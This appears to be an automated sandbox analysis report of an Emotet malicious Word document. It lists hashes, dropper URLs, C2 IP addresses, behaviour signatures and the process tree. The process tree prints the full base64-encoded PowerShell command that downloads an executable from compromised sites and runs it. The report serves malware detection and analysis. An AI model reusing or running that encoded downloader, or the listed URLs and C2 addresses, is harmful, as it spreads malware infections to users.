Analysis

  • max time kernel
    140s
  • max time network
    134s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    14/08/2020, 22:10

General

  • Target
    emotet_e3_d5c4e66646fdbb28ccbcbb8a172e88103a0889ba9d302d5f8cbc5afa095317a6_2020-08-14__220851._doc.doc
  • Size 233KB
  • Sample200814-nff3fjc4ra
  • SHA256 d5c4e66646fdbb28ccbcbb8a172e88103a0889ba9d302d5f8cbc5afa095317a6
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://kndesign.com.br/wwvv2/wPxxj0v53027676/

  • exe.dropper

    http://load.studio/wp-admin/fqmCvt/

  • exe.dropper

    http://melangefresh.com/partner/9lg91006/

  • exe.dropper

    http://cengizgulec.com/wp-admin/wmZHHHARm/

  • exe.dropper

    http://www.skydiarynepal.org/wp-admin/HWGaf/

Extracted

Family
  • emotet

C2
  • 71.57.180.213:80

  • 185.86.148.68:443

  • 168.235.82.183:8080

  • 181.113.229.139:443

  • 181.134.9.162:80

  • 217.199.160.224:8080

  • 105.209.235.113:8080

  • 216.75.37.196:8080

  • 97.104.107.190:80

  • 203.153.216.182:7080

  • 107.161.30.122:8080

  • 41.106.96.12:80

  • 202.5.47.71:80

  • 201.235.10.215:80

  • 105.213.67.88:80

  • 115.79.195.246:80

  • 179.5.118.12:80

  • 212.112.113.235:80

  • 139.59.12.63:8080

  • 177.37.81.212:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_d5c4e66646fdbb28ccbcbb8a172e88103a0889ba9d302d5f8cbc5afa095317a6_2020-08-14__220851._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3056
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAGMAdgB3AGYAbQBmAD0AJwBZAHoAagB5ADgAbQBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAFUAUgBpAHQAWQBwAFIATwBgAFQATwBgAGMAYABPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABVAGUAagBzAF8AOAAwACAAPQAgACcATQBnAG8AYgAnADsAJABGAGkAegBvAG4AYQBoAD0AJwBVAG4AOQBpAHEAbAByACcAOwAkAEIAaABkAGgANAA1AGoAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABVAGUAagBzAF8AOAAwACsAJwAuAGUAeABlACcAOwAkAFUAeQBsADEAYgAwAGkAPQAnAFAAdwBjAHEAMwAzAGkAJwA7ACQAVwB0AGEAZQB2AGwAcAA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAEUAYgBDAEwAaQBlAE4AdAA7ACQARgB4AF8AMAAxAGEANgA9ACcAaAB0AHQAcAA6AC8ALwBrAG4AZABlAHMAaQBnAG4ALgBjAG8AbQAuAGIAcgAvAHcAdwB2AHYAMgAvAHcAUAB4AHgAagAwAHYANQAzADAAMgA3ADYANwA2AC8AKgBoAHQAdABwADoALwAvAGwAbwBhAGQALgBzAHQAdQBkAGkAbwAvAHcAcAAtAGEAZABtAGkAbgAvAGYAcQBtAEMAdgB0AC8AKgBoAHQAdABwADoALwAvAG0AZQBsAGEAbgBnAGUAZgByAGUAcwBoAC4AYwBvAG0ALwBwAGEAcgB0AG4AZQByAC8AOQBsAGcAOQAxADAAMAA2AC8AKgBoAHQAdABwADoALwAvAGMAZQBuAGcAaQB6AGcAdQBsAGUAYwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdwBtAFoASABIAEgAQQBSAG0ALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBzAGsAeQBkAGkAYQByAHkAbgBlAHAAYQBsAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwBIAFcARwBhAGYALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFcAdgBsAHEAbwBnAGoAPQAnAEUAdgBuAHYAMgBhAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEUAbwA1AGYAZgBuAGoAIABpAG4AIAAkAEYAeABfADAAMQBhADYAKQB7AHQAcgB5AHsAJABXAHQAYQBlAHYAbABwAC4AIgBEAG8AVwBOAGwATwBgAEEARABmAEkAYABsAEUAIgAoACQARQBvADUAZgBmAG4AagAsACAAJABCAGgAZABoADQANQBqACkAOwAkAFcAawB6AHcAaQBuAG0APQAnAFoAdgA1ADMAMAAyADUAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABCAGgAZABoADQANQBqACkALgAiAGwAZQBOAGAARwBgAFQAaAAiACAALQBnAGUAIAAyADAAMgAxADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQAQgBoAGQAaAA0ADUAagApADsAJABNAG8ANwBfAGIAegB3AD0AJwBFAHUAcgB3AHkAbgB1ACcAOwBiAHIAZQBhAGsAOwAkAEwAdwByAGMAeABpAHMAPQAnAEIAcQA0AG4AcgBnAHAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASgByAGoAeABtAHcANAA9ACcAQwBoAGIANQA3AHgAbAAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2956
    • C:\Users\Admin\AppData\Local\Temp\Mgob.exe
      "C:\Users\Admin\AppData\Local\Temp\Mgob.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3788
      • C:\Windows\SysWOW64\KBDURDU\iscsium.exe
        "C:\Windows\SysWOW64\KBDURDU\iscsium.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3988

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2956-7-0x00007FFFD9490000-0x00007FFFD9E7C000-memory.dmp

        memory/2956-8-0x00000225B8F30000-0x00000225B8F31000-memory.dmp

        memory/2956-9-0x00000225D1610000-0x00000225D1611000-memory.dmp

        memory/3056-0-0x00007FFFE13A0000-0x00007FFFE1A66000-memory.dmp

        memory/3788-13-0x00000000022A0000-0x00000000022AC000-memory.dmp

        memory/3988-16-0x00000000021D0000-0x00000000021DC000-memory.dmp